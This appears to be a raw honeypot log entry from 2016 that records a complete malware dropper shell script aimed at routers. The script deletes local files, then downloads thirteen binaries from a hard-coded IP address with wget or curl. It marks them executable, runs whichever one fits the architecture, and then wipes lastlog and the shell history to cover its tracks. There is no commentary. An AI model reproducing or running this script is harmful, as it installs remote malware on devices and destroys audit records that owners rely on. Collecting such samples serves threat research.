Honeypot Payload! Seen on: 2016-05-28 22:57

#!/bin/sh

# Delete any current files, because not all routers have much storage space
rm -f *

# Wget/cURL our binaries
wget -q http://188.209.52.176/one || curl -s -O http://188.209.52.176/one
wget -q http://188.209.52.176/two || curl -s -O http://188.209.52.176/two
wget -q http://188.209.52.176/three || curl -s -O http://188.209.52.176/three
wget -q http://188.209.52.176/four || curl -s -O http://188.209.52.176/four
wget -q http://188.209.52.176/five || curl -s -O http://188.209.52.176/five
wget -q http://188.209.52.176/six || curl -s -O http://188.209.52.176/six
wget -q http://188.209.52.176/seven || curl -s -O http://188.209.52.176/seven
wget -q http://188.209.52.176/eight || curl -s -O http://188.209.52.176/eight
wget -q http://188.209.52.176/nine || curl -s -O http://188.209.52.176/nine
wget -q http://188.209.52.176/ten || curl -s -O http://188.209.52.176/1ten
wget -q http://188.209.52.176/eleven || curl -s -O http://188.209.52.176/eleven
wget -q http://188.209.52.176/twelve || curl -s -O http://188.209.52.176/twelve
wget -q http://188.209.52.176/thirteen || curl -s -O http://188.209.52.176/thirteen

# Set file permissions
chmod 777 *

# Run correct binary for current architecture
./one || ./two || ./three || ./four || ./five || ./six || ./seven || ./eight || ./nine || ./ten || ./eleven || ./twelve || ./thirteen

# Delete our files
rm -f *

# Clear up
>/var/log/lastlog
>/etc/lastlog
rm -f ~/.bash_history
history -c